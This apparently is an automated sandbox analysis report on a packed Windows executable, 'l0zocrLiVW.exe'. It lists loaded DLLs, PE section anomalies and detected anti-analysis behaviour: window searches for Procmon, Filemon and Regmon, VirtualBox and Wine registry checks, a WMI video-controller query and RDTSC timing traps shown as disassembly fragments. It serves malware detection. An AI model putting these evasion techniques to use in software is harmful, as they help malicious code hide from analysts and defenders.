Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: l0zocrLiVW.exe

Static file information: File size 3026432 > 1048576

Source: l0zocrLiVW.exe

Static PE information: Raw size of qaniytby is bigger than: 0x100000 < 0x2b9000

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: l0zocrLiVW.exe, 00000000.00000002.2546241548.0000000006232000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

Unpacked PE file: 0.2.l0zocrLiVW.exe.6b0000.0.unpack :EW;.rsrc :W;.idata :W;qaniytby:EW;ymmvwixr:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;qaniytby:EW;ymmvwixr:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: l0zocrLiVW.exe

Static PE information: real checksum: 0x2eb2eb should be: 0x2f099d

Source: l0zocrLiVW.exe	Static PE information: section name:
Source: l0zocrLiVW.exe	Static PE information: section name: .rsrc
Source: l0zocrLiVW.exe	Static PE information: section name: .idata
Source: l0zocrLiVW.exe	Static PE information: section name: qaniytby
Source: l0zocrLiVW.exe	Static PE information: section name: ymmvwixr
Source: l0zocrLiVW.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_05855E0D push ebx; ret	0_3_05855E0E
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_05855E0D push ebx; ret	0_3_05855E0E
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_01061B98 push ebx; ret	0_3_01061BA1
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_01068F78 push ebp; retn 0037h	0_3_01068FD2
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_01068F78 push ebp; retn 0037h	0_3_01068FD2
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_01068F78 push ebp; retn 0037h	0_3_01068FD2
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_01068F78 push ebp; retn 0037h	0_3_01068FD2
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_01068F78 push ebp; retn 0037h	0_3_01068FD2
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_01068F78 push ebp; retn 0037h	0_3_01068FD2
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_01068F78 push ebp; retn 0037h	0_3_01068FD2
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_01068F78 push ebp; retn 0037h	0_3_01068FD2
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_01068F78 push ebp; retn 0037h	0_3_01068FD2
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_05855E0D push ebx; ret	0_3_05855E0E
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Code function: 0_3_05855E0D push ebx; ret	0_3_05855E0E

Source: l0zocrLiVW.exe

Static PE information: section name: entropy: 7.979301697207991

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\l0zocrLiVW.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 7092B5 second address: 708B03 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA454E2C846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA454E2C852h 0x00000012 pop edx 0x00000013 nop 0x00000014 mov dword ptr [ebp+122D2DD1h], ebx 0x0000001a push dword ptr [ebp+122D0415h] 0x00000020 or dword ptr [ebp+122D2CC6h], ebx 0x00000026 call dword ptr [ebp+122D2372h] 0x0000002c pushad 0x0000002d xor dword ptr [ebp+122D2C1Fh], eax 0x00000033 xor eax, eax 0x00000035 sub dword ptr [ebp+122D2C1Fh], esi 0x0000003b stc 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 jmp 00007FA454E2C84Ah 0x00000045 mov dword ptr [ebp+122D38FFh], eax 0x0000004b jp 00007FA454E2C852h 0x00000051 mov esi, 0000003Ch 0x00000056 jmp 00007FA454E2C84Ah 0x0000005b pushad 0x0000005c or dword ptr [ebp+122D2C1Fh], ebx 0x00000062 mov bh, 12h 0x00000064 popad 0x00000065 add esi, dword ptr [esp+24h] 0x00000069 mov dword ptr [ebp+122D1C8Ch], ebx 0x0000006f lodsw 0x00000071 pushad 0x00000072 xor dword ptr [ebp+122D2C1Fh], edi 0x00000078 mov ebx, ecx 0x0000007a popad 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f mov dword ptr [ebp+122D2C1Fh], edi 0x00000085 mov ebx, dword ptr [esp+24h] 0x00000089 cmc 0x0000008a nop 0x0000008b push eax 0x0000008c push edx 0x0000008d jnp 00007FA454E2C85Ch 0x00000093 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 708B03 second address: 708B08 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 708B08 second address: 708B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 89082C second address: 890832 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 890832 second address: 890838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 88FC4C second address: 88FC50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 88FC50 second address: 88FC63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454E2C84Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 89007D second address: 890087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 890087 second address: 8900AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FA454E2C846h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA454E2C852h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8900AB second address: 8900B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FA454545C56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8900B7 second address: 8900BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8900BF second address: 8900C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8922AB second address: 8922B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 892378 second address: 89237D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 89237D second address: 892383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 892383 second address: 89240D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 3711A08Dh 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FA454545C58h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 jmp 00007FA454545C5Eh 0x0000002d sbb edx, 3294091Ch 0x00000033 lea ebx, dword ptr [ebp+1245D170h] 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c call 00007FA454545C58h 0x00000041 pop esi 0x00000042 mov dword ptr [esp+04h], esi 0x00000046 add dword ptr [esp+04h], 0000001Bh 0x0000004e inc esi 0x0000004f push esi 0x00000050 ret 0x00000051 pop esi 0x00000052 ret 0x00000053 mov cx, 3BC2h 0x00000057 xchg eax, ebx 0x00000058 jmp 00007FA454545C61h 0x0000005d push eax 0x0000005e push edi 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 89268A second address: 892691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B3756 second address: 8B375B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B375B second address: 8B3763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B3763 second address: 8B3767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B17B8 second address: 8B17BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B1937 second address: 8B193D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B193D second address: 8B1977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 jnc 00007FA454E2C864h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FA454E2C84Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B1977 second address: 8B1988 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jo 00007FA454545C56h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B1C23 second address: 8B1C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007FA454E2C853h 0x0000000b jmp 00007FA454E2C84Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B203D second address: 8B2041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B2041 second address: 8B2066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454E2C850h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007FA454E2C846h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B2066 second address: 8B206E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B22B7 second address: 8B22C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FA454E2C846h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B22C4 second address: 8B22D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FA454545C56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jc 00007FA454545C56h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B2428 second address: 8B242E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B242E second address: 8B2434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B2434 second address: 8B243E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B256B second address: 8B2574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B2574 second address: 8B2578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B2578 second address: 8B2580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B2580 second address: 8B2586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B2586 second address: 8B2590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA454545C56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B2590 second address: 8B259A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA454E2C846h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B29C7 second address: 8B29CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B2EE3 second address: 8B2F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pushad 0x00000007 jmp 00007FA454E2C857h 0x0000000c jmp 00007FA454E2C84Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B2F16 second address: 8B2F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B3306 second address: 8B3328 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007FA454E2C846h 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007FA454E2C84Dh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8B846A second address: 8B8486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA454545C68h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 880470 second address: 8804A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454E2C856h 0x00000009 jmp 00007FA454E2C855h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8804A1 second address: 8804A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 886FE7 second address: 886FEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 886FEB second address: 886FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 886FF4 second address: 887037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 jng 00007FA454E2C846h 0x0000000e pop ebx 0x0000000f jng 00007FA454E2C84Eh 0x00000015 jnl 00007FA454E2C846h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push edi 0x0000001f pushad 0x00000020 jmp 00007FA454E2C84Bh 0x00000025 jmp 00007FA454E2C84Bh 0x0000002a jl 00007FA454E2C846h 0x00000030 popad 0x00000031 push eax 0x00000032 push edx 0x00000033 push edi 0x00000034 pop edi 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 887037 second address: 88703B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 88703B second address: 887041 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8BE367 second address: 8BE36B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8BE36B second address: 8BE377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA454E2C846h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
